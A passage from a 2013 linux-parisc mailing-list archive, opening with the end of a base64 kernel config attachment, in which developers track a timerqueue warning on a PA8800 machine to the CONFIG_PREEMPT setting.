X0NBTUVMTElBIGlzIG5vdCBzZXQNCiMgQ09ORklHX0NSWVBUT19DQVNUNSBpcyBub3Qgc2V0DQoj
IENPTkZJR19DUllQVE9fQ0FTVDYgaXMgbm90IHNldA0KQ09ORklHX0NSWVBUT19ERVM9bQ0KIyBD
T05GSUdfQ1JZUFRPX0ZDUllQVCBpcyBub3Qgc2V0DQojIENPTkZJR19DUllQVE9fS0hBWkFEIGlz
IG5vdCBzZXQNCiMgQ09ORklHX0NSWVBUT19TQUxTQTIwIGlzIG5vdCBzZXQNCiMgQ09ORklHX0NS
WVBUT19TRUVEIGlzIG5vdCBzZXQNCiMgQ09ORklHX0NSWVBUT19TRVJQRU5UIGlzIG5vdCBzZXQN
CiMgQ09ORklHX0NSWVBUT19URUEgaXMgbm90IHNldA0KIyBDT05GSUdfQ1JZUFRPX1RXT0ZJU0gg
aXMgbm90IHNldA0KDQojDQojIENvbXByZXNzaW9uDQojDQpDT05GSUdfQ1JZUFRPX0RFRkxBVEU9
bQ0KIyBDT05GSUdfQ1JZUFRPX1pMSUIgaXMgbm90IHNldA0KIyBDT05GSUdfQ1JZUFRPX0xaTyBp
cyBub3Qgc2V0DQoNCiMNCiMgUmFuZG9tIE51bWJlciBHZW5lcmF0aW9uDQojDQojIENPTkZJR19D
UllQVE9fQU5TSV9DUFJORyBpcyBub3Qgc2V0DQojIENPTkZJR19DUllQVE9fVVNFUl9BUElfSEFT
SCBpcyBub3Qgc2V0DQojIENPTkZJR19DUllQVE9fVVNFUl9BUElfU0tDSVBIRVIgaXMgbm90IHNl
dA0KIyBDT05GSUdfQ1JZUFRPX0hXIGlzIG5vdCBzZXQNCiMgQ09ORklHX0FTWU1NRVRSSUNfS0VZ
X1RZUEUgaXMgbm90IHNldA0KIyBDT05GSUdfQklOQVJZX1BSSU5URiBpcyBub3Qgc2V0DQoNCiMN
CiMgTGlicmFyeSByb3V0aW5lcw0KIw0KQ09ORklHX1JBSUQ2X1BRPXkNCkNPTkZJR19CSVRSRVZF
UlNFPXkNCkNPTkZJR19HRU5FUklDX1NUUk5DUFlfRlJPTV9VU0VSPXkNCkNPTkZJR19HRU5FUklD
X1BDSV9JT01BUD15DQpDT05GSUdfR0VORVJJQ19JTz15DQpDT05GSUdfQ1JDX0NDSVRUPW0NCkNP
TkZJR19DUkMxNj15DQojIENPTkZJR19DUkNfVDEwRElGIGlzIG5vdCBzZXQNCkNPTkZJR19DUkNf
SVRVX1Q9bQ0KQ09ORklHX0NSQzMyPXkNCiMgQ09ORklHX0NSQzMyX1NFTEZURVNUIGlzIG5vdCBz
ZXQNCkNPTkZJR19DUkMzMl9TTElDRUJZOD15DQojIENPTkZJR19DUkMzMl9TTElDRUJZNCBpcyBu
b3Qgc2V0DQojIENPTkZJR19DUkMzMl9TQVJXQVRFIGlzIG5vdCBzZXQNCiMgQ09ORklHX0NSQzMy
X0JJVCBpcyBub3Qgc2V0DQojIENPTkZJR19DUkM3IGlzIG5vdCBzZXQNCiMgQ09ORklHX0xJQkNS
QzMyQyBpcyBub3Qgc2V0DQojIENPTkZJR19DUkM4IGlzIG5vdCBzZXQNCkNPTkZJR19aTElCX0lO
RkxBVEU9eQ0KQ09ORklHX1pMSUJfREVGTEFURT1tDQpDT05GSUdfTFpPX0RFQ09NUFJFU1M9eQ0K
Q09ORklHX1haX0RFQz15DQpDT05GSUdfWFpfREVDX1g4Nj15DQpDT05GSUdfWFpfREVDX1BPV0VS
UEM9eQ0KQ09ORklHX1haX0RFQ19JQTY0PXkNCkNPTkZJR19YWl9ERUNfQVJNPXkNCkNPTkZJR19Y
Wl9ERUNfQVJNVEhVTUI9eQ0KQ09ORklHX1haX0RFQ19TUEFSQz15DQpDT05GSUdfWFpfREVDX0JD
Sj15DQojIENPTkZJR19YWl9ERUNfVEVTVCBpcyBub3Qgc2V0DQpDT05GSUdfREVDT01QUkVTU19H
WklQPXkNCkNPTkZJR19ERUNPTVBSRVNTX0JaSVAyPXkNCkNPTkZJR19ERUNPTVBSRVNTX0xaTUE9
eQ0KQ09ORklHX0RFQ09NUFJFU1NfWFo9eQ0KQ09ORklHX0RFQ09NUFJFU1NfTFpPPXkNCkNPTkZJ
R19IQVNfSU9NRU09eQ0KQ09ORklHX0hBU19JT1BPUlQ9eQ0KQ09ORklHX0hBU19ETUE9eQ0KQ09O
RklHX0NQVV9STUFQPXkNCkNPTkZJR19EUUw9eQ0KQ09ORklHX05MQVRUUj15DQojIENPTkZJR19B
VkVSQUdFIGlzIG5vdCBzZXQNCiMgQ09ORklHX0NPUkRJQyBpcyBub3Qgc2V0DQojIENPTkZJR19E
RFIgaXMgbm90IHNldA0K

--MP_/MEflJxHANEqpE2x8XuAx=g=--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: PA8800 with 3.9.0-rc1-JeR-10942-g6dbe51c : WARNING: at lib/timerqueue.c:74
Date: Sat, 16 Mar 2013 18:34:17 -0400
Lines: 18
Approved: news@gmane.org
Message-ID: <BLU0-SMTP3801FFE58A0BCC9C8836A597EE0@phx.gbl>
References: <20130315152226.46ad0993@marga.jer-c2.orkz.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1363473669 5000 80.91.229.3 (16 Mar 2013 22:41:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 16 Mar 2013 22:41:09 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org
To: Jeroen Roovers <jer@gentoo.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Mar 16 23:41:33 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UGznA-0006QM-Bb
	for glpp-linux-parisc@plane.gmane.org; Sat, 16 Mar 2013 23:41:32 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751433Ab3CPWlI (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 16 Mar 2013 18:41:08 -0400
Original-Received: from blu0-omc4-s15.blu0.hotmail.com ([65.55.111.154]:32915 "EHLO
	blu0-omc4-s15.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751380Ab3CPWlI (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 16 Mar 2013 18:41:08 -0400
X-Greylist: delayed 370 seconds by postgrey-1.27 at vger.kernel.org; Sat, 16 Mar 2013 18:41:08 EDT
Original-Received: from BLU0-SMTP38 ([65.55.111.136]) by blu0-omc4-s15.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Sat, 16 Mar 2013 15:34:57 -0700
X-EIP: [B3QelroJXhiINKfGLSzaf54RKy8NFWRn]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([70.26.34.58]) by BLU0-SMTP38.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Sat, 16 Mar 2013 15:34:56 -0700
In-Reply-To: <20130315152226.46ad0993@marga.jer-c2.orkz.net>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 16 Mar 2013 22:34:56.0797 (UTC) FILETIME=[7C6844D0:01CE2296]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4857
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4857>

On 15-Mar-13, at 10:22 AM, Jeroen Roovers wrote:

> [    7.912000] WARNING: at lib/timerqueue.c:74

Is this reproducible?  I have seen the occasional RB issue but I've
never been able to reproduce them.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeroen Roovers <jer@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: PA8800 with 3.9.0-rc1-JeR-10942-g6dbe51c : WARNING: at
 lib/timerqueue.c:74
Date: Mon, 18 Mar 2013 13:58:31 +0100
Lines: 20
Approved: news@gmane.org
Message-ID: <20130318135831.7c14b6e7@marga.jer-c2.orkz.net>
References: <20130315152226.46ad0993@marga.jer-c2.orkz.net>
	<BLU0-SMTP3801FFE58A0BCC9C8836A597EE0@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1363611517 18664 80.91.229.3 (18 Mar 2013 12:58:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 18 Mar 2013 12:58:37 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Mar 18 13:59:02 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UHZeW-0000BM-9H
	for glpp-linux-parisc@plane.gmane.org; Mon, 18 Mar 2013 13:59:00 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751376Ab3CRM6h (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 18 Mar 2013 08:58:37 -0400
Original-Received: from smtp.gentoo.org ([140.211.166.183]:39180 "EHLO smtp.gentoo.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751330Ab3CRM6g (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 18 Mar 2013 08:58:36 -0400
Original-Received: from marga.jer-c2.orkz.net (D4B2706A.static.ziggozakelijk.nl [212.178.112.106])
	(using TLSv1.2 with cipher DHE-RSA-AES128-SHA (128/128 bits))
	(No client certificate requested)
	(Authenticated sender: jer)
	by smtp.gentoo.org (Postfix) with ESMTPSA id 2778D33DB27;
	Mon, 18 Mar 2013 12:58:35 +0000 (UTC)
In-Reply-To: <BLU0-SMTP3801FFE58A0BCC9C8836A597EE0@phx.gbl>
X-Mailer: Claws Mail 3.9.0 (GTK+ 2.24.12; i686-pc-linux-gnu)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4858
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4858>

On Sat, 16 Mar 2013 18:34:17 -0400
John David Anglin <dave.anglin@bell.net> wrote:

> On 15-Mar-13, at 10:22 AM, Jeroen Roovers wrote:
> 
> > [    7.912000] WARNING: at lib/timerqueue.c:74
> 
> Is this reproducible?  I have seen the occasional RB issue but I've
> never been able to reproduce them.

Yes. Every time I boot this kernel with Helge's patches, built with
the previously attached config, it trips on this very same issue.


     jer
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: PA8800 with 3.9.0-rc1-JeR-10942-g6dbe51c : WARNING: at lib/timerqueue.c:74
Date: Tue, 19 Mar 2013 23:38:59 +0100
Lines: 57
Approved: news@gmane.org
Message-ID: <5148E903.1020105@gmx.de>
References: <20130315152226.46ad0993@marga.jer-c2.orkz.net> <BLU0-SMTP3801FFE58A0BCC9C8836A597EE0@phx.gbl> <20130318135831.7c14b6e7@marga.jer-c2.orkz.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1363733049 7551 80.91.229.3 (19 Mar 2013 22:44:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 19 Mar 2013 22:44:09 +0000 (UTC)
Cc: John David Anglin <dave.anglin@bell.net>,
	linux-parisc@vger.kernel.org
To: Jeroen Roovers <jer@gentoo.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Mar 19 23:44:32 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UI5Gg-0007p4-Cm
	for glpp-linux-parisc@plane.gmane.org; Tue, 19 Mar 2013 23:44:30 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S933877Ab3CSWoG (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 19 Mar 2013 18:44:06 -0400
Original-Received: from mout.gmx.net ([212.227.17.22]:49638 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S933582Ab3CSWoF (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 19 Mar 2013 18:44:05 -0400
X-Greylist: delayed 303 seconds by postgrey-1.27 at vger.kernel.org; Tue, 19 Mar 2013 18:44:05 EDT
Original-Received: from mailout-de.gmx.net ([10.1.76.12]) by mrigmx.server.lan
 (mrigmx002) with ESMTP (Nemesis) id 0MaoLM-1Tyl7G3luM-00KM8P for
 <linux-parisc@vger.kernel.org>; Tue, 19 Mar 2013 23:39:00 +0100
Original-Received: (qmail invoked by alias); 19 Mar 2013 22:39:00 -0000
Original-Received: from p54AD05AC.dip0.t-ipconnect.de (EHLO [192.168.178.60]) [84.173.5.172]
  by mail.gmx.net (mp012) with SMTP; 19 Mar 2013 23:39:00 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1+j4S0Cs9ejcfI+AJblEcTvwC89Q6Z+hfi5ugtkWm
	CImaPVeqnnjZ6r
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130311 Thunderbird/17.0.4
In-Reply-To: <20130318135831.7c14b6e7@marga.jer-c2.orkz.net>
X-Enigmail-Version: 1.5.1
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4859
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4859>

Hi Jeroen,

On 03/18/2013 01:58 PM, Jeroen Roovers wrote:
> On Sat, 16 Mar 2013 18:34:17 -0400
> John David Anglin <dave.anglin@bell.net> wrote:
> 
>> On 15-Mar-13, at 10:22 AM, Jeroen Roovers wrote:
>>
>>> [    7.912000] WARNING: at lib/timerqueue.c:74
>>
>> Is this reproducible?  I have seen the occasional RB issue but I've
>> never been able to reproduce them.
> 
> Yes. Every time I boot this kernel with Helge's patches, built with
> the previously attached config, it trips on this very same issue.

Which patches are you referring to? All my patches are upstream in 3.9.0-rcX.

I built a kernel with your config as well, but did not ran into the issues you have.
But that's not really surprising, since I tested on a different 1-CPU machine only...

Just looking at your config (which I diffed with the one I use), I would suggest that you play around with a few of the following options to narrow down the problem (ignore the +/- -> should just give you an idea what to change).
Out of your backtrace it seems there is a problem with timer/SMP/locking or similiar (or just our old cache-problem)...

Helge

-CONFIG_GENERIC_LOCKBREAK=y
-CONFIG_TREE_PREEMPT_RCU=y
-CONFIG_PREEMPT_RCU=y
+CONFIG_TREE_RCU=y
+# CONFIG_PREEMPT_RCU is not set
-# CONFIG_RCU_BOOST is not set
-CONFIG_SLUB_DEBUG=y
-# CONFIG_COMPAT_BRK is not set
-# CONFIG_SLAB is not set
-CONFIG_SLUB=y
+CONFIG_SLAB=y
+# CONFIG_SLUB is not set
+# CONFIG_SLOB is not set
-CONFIG_UNINLINE_SPIN_UNLOCK=y
-CONFIG_MUTEX_SPIN_ON_OWNER=y
+CONFIG_INLINE_SPIN_UNLOCK_IRQ=y
+CONFIG_INLINE_READ_UNLOCK=y
+CONFIG_INLINE_READ_UNLOCK_IRQ=y
+CONFIG_INLINE_WRITE_UNLOCK=y
+CONFIG_INLINE_WRITE_UNLOCK_IRQ=y
-# CONFIG_PREEMPT_NONE is not set
+CONFIG_PREEMPT_NONE=y
-CONFIG_PREEMPT=y
-CONFIG_PREEMPT_COUNT=y
+# CONFIG_PREEMPT is not set

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: PA8800 with 3.9.0-rc1-JeR-10942-g6dbe51c : WARNING: at lib/timerqueue.c:74
Date: Tue, 19 Mar 2013 18:49:45 -0400
Lines: 23
Approved: news@gmane.org
Message-ID: <BLU0-SMTP626E58B90FF5663B20A26097E90@phx.gbl>
References: <20130315152226.46ad0993@marga.jer-c2.orkz.net> <BLU0-SMTP3801FFE58A0BCC9C8836A597EE0@phx.gbl> <20130318135831.7c14b6e7@marga.jer-c2.orkz.net> <5148E903.1020105@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1363733426 11486 80.91.229.3 (19 Mar 2013 22:50:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 19 Mar 2013 22:50:26 +0000 (UTC)
Cc: Jeroen Roovers <jer@gentoo.org>, linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Mar 19 23:50:51 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UI5Mn-0003Fc-Gy
	for glpp-linux-parisc@plane.gmane.org; Tue, 19 Mar 2013 23:50:49 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S934130Ab3CSWu0 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 19 Mar 2013 18:50:26 -0400
Original-Received: from blu0-omc4-s2.blu0.hotmail.com ([65.55.111.141]:17153 "EHLO
	blu0-omc4-s2.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S934117Ab3CSWuZ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 19 Mar 2013 18:50:25 -0400
Original-Received: from BLU0-SMTP62 ([65.55.111.136]) by blu0-omc4-s2.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Tue, 19 Mar 2013 15:50:25 -0700
X-EIP: [Yorxc/+tbwL/pXTqwbFQk3D6OgJrQemh]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([174.92.89.155]) by BLU0-SMTP62.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Tue, 19 Mar 2013 15:50:24 -0700
In-Reply-To: <5148E903.1020105@gmx.de>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 19 Mar 2013 22:50:24.0168 (UTC) FILETIME=[24671A80:01CE24F4]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4860
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4860>

On 19-Mar-13, at 6:38 PM, Helge Deller wrote:

> Out of your backtrace it seems there is a problem with timer/SMP/ 
> locking or similiar (or just our old cache-problem)...

Based on testing with rc1 and rc2, we still have some cache issues,  
although far less than before.  For some
reason, rc2 seemed worse than rc1.  Testing rc3.

This seems to be a kernel issue, so I'm not sure why we would have  
cache issues.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeroen Roovers <jer@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: PA8800 with 3.9.0-rc1-JeR-10942-g6dbe51c : WARNING: at
 lib/timerqueue.c:74
Date: Wed, 20 Mar 2013 18:27:56 +0100
Lines: 56
Approved: news@gmane.org
Message-ID: <20130320182756.7b0e4f5d@marga.jer-c2.orkz.net>
References: <20130315152226.46ad0993@marga.jer-c2.orkz.net>
	<BLU0-SMTP3801FFE58A0BCC9C8836A597EE0@phx.gbl>
	<20130318135831.7c14b6e7@marga.jer-c2.orkz.net>
	<5148E903.1020105@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1363800486 15191 80.91.229.3 (20 Mar 2013 17:28:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 20 Mar 2013 17:28:06 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	John David Anglin <dave.anglin@bell.net>
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Mar 20 18:28:30 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UIMoO-00039E-O6
	for glpp-linux-parisc@plane.gmane.org; Wed, 20 Mar 2013 18:28:29 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754346Ab3CTR2D (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 20 Mar 2013 13:28:03 -0400
Original-Received: from smtp.gentoo.org ([140.211.166.183]:45913 "EHLO smtp.gentoo.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752046Ab3CTR2C (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 20 Mar 2013 13:28:02 -0400
Original-Received: from marga.jer-c2.orkz.net (D4B2706A.static.ziggozakelijk.nl [212.178.112.106])
	(using TLSv1.2 with cipher DHE-RSA-AES128-SHA (128/128 bits))
	(No client certificate requested)
	(Authenticated sender: jer)
	by smtp.gentoo.org (Postfix) with ESMTPSA id 73D5B33BDD7;
	Wed, 20 Mar 2013 17:28:00 +0000 (UTC)
In-Reply-To: <5148E903.1020105@gmx.de>
X-Mailer: Claws Mail 3.9.0 (GTK+ 2.24.12; i686-pc-linux-gnu)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4861
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4861>

On Tue, 19 Mar 2013 23:38:59 +0100
Helge Deller <deller@gmx.de> wrote:

> Just looking at your config (which I diffed with the one I use), I
> would suggest that you play around with a few of the following
> options to narrow down the problem (ignore the +/- -> should just
> give you an idea what to change). Out of your backtrace it seems
> there is a problem with timer/SMP/locking or similiar (or just our
> old cache-problem)...

> -CONFIG_GENERIC_LOCKBREAK=y
> -CONFIG_TREE_PREEMPT_RCU=y
> -CONFIG_PREEMPT_RCU=y
> +CONFIG_TREE_RCU=y
> +# CONFIG_PREEMPT_RCU is not set
> -# CONFIG_RCU_BOOST is not set
> -CONFIG_SLUB_DEBUG=y
> -# CONFIG_COMPAT_BRK is not set
> -# CONFIG_SLAB is not set
> -CONFIG_SLUB=y
> +CONFIG_SLAB=y
> +# CONFIG_SLUB is not set
> +# CONFIG_SLOB is not set
> -CONFIG_UNINLINE_SPIN_UNLOCK=y
> -CONFIG_MUTEX_SPIN_ON_OWNER=y
> +CONFIG_INLINE_SPIN_UNLOCK_IRQ=y
> +CONFIG_INLINE_READ_UNLOCK=y
> +CONFIG_INLINE_READ_UNLOCK_IRQ=y
> +CONFIG_INLINE_WRITE_UNLOCK=y
> +CONFIG_INLINE_WRITE_UNLOCK_IRQ=y
> -# CONFIG_PREEMPT_NONE is not set
> +CONFIG_PREEMPT_NONE=y
> -CONFIG_PREEMPT=y
> -CONFIG_PREEMPT_COUNT=y
> +# CONFIG_PREEMPT is not set

All of the above are changed by just this change:

-# CONFIG_PREEMPT_NONE is not set
+CONFIG_PREEMPT_NONE=y
 # CONFIG_PREEMPT_VOLUNTARY is not set
-CONFIG_PREEMPT=y
-CONFIG_PREEMPT_COUNT=y
+# CONFIG_PREEMPT is not set

and yes, that makes the kernel boot properly again. I haven't tried the
third option, CONFIG_PREEMPT_VOLUNTARY.


Regards,
     jer
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeroen Roovers <jer@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: PA8800 with 3.9.0-rc1-JeR-10942-g6dbe51c : WARNING: at
 lib/timerqueue.c:74
Date: Wed, 20 Mar 2013 20:34:37 +0100
Lines: 20
Approved: news@gmane.org
Message-ID: <20130320203437.5e5359ac@marga.jer-c2.orkz.net>
References: <20130315152226.46ad0993@marga.jer-c2.orkz.net>
	<BLU0-SMTP3801FFE58A0BCC9C8836A597EE0@phx.gbl>
	<20130318135831.7c14b6e7@marga.jer-c2.orkz.net>
	<5148E903.1020105@gmx.de>
	<20130320182756.7b0e4f5d@marga.jer-c2.orkz.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1363808082 31885 80.91.229.3 (20 Mar 2013 19:34:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 20 Mar 2013 19:34:42 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	John David Anglin <dave.anglin@bell.net>
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Mar 20 20:35:08 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UIOmw-0000Qm-KU
	for glpp-linux-parisc@plane.gmane.org; Wed, 20 Mar 2013 20:35:06 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751120Ab3CTTen (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 20 Mar 2013 15:34:43 -0400
Original-Received: from smtp.gentoo.org ([140.211.166.183]:52996 "EHLO smtp.gentoo.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750763Ab3CTTem (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 20 Mar 2013 15:34:42 -0400
Original-Received: from marga.jer-c2.orkz.net (D4B2706A.static.ziggozakelijk.nl [212.178.112.106])
	(using TLSv1.2 with cipher DHE-RSA-AES128-SHA (128/128 bits))
	(No client certificate requested)
	(Authenticated sender: jer)
	by smtp.gentoo.org (Postfix) with ESMTPSA id 7C11D33BF48;
	Wed, 20 Mar 2013 19:34:41 +0000 (UTC)
In-Reply-To: <20130320182756.7b0e4f5d@marga.jer-c2.orkz.net>
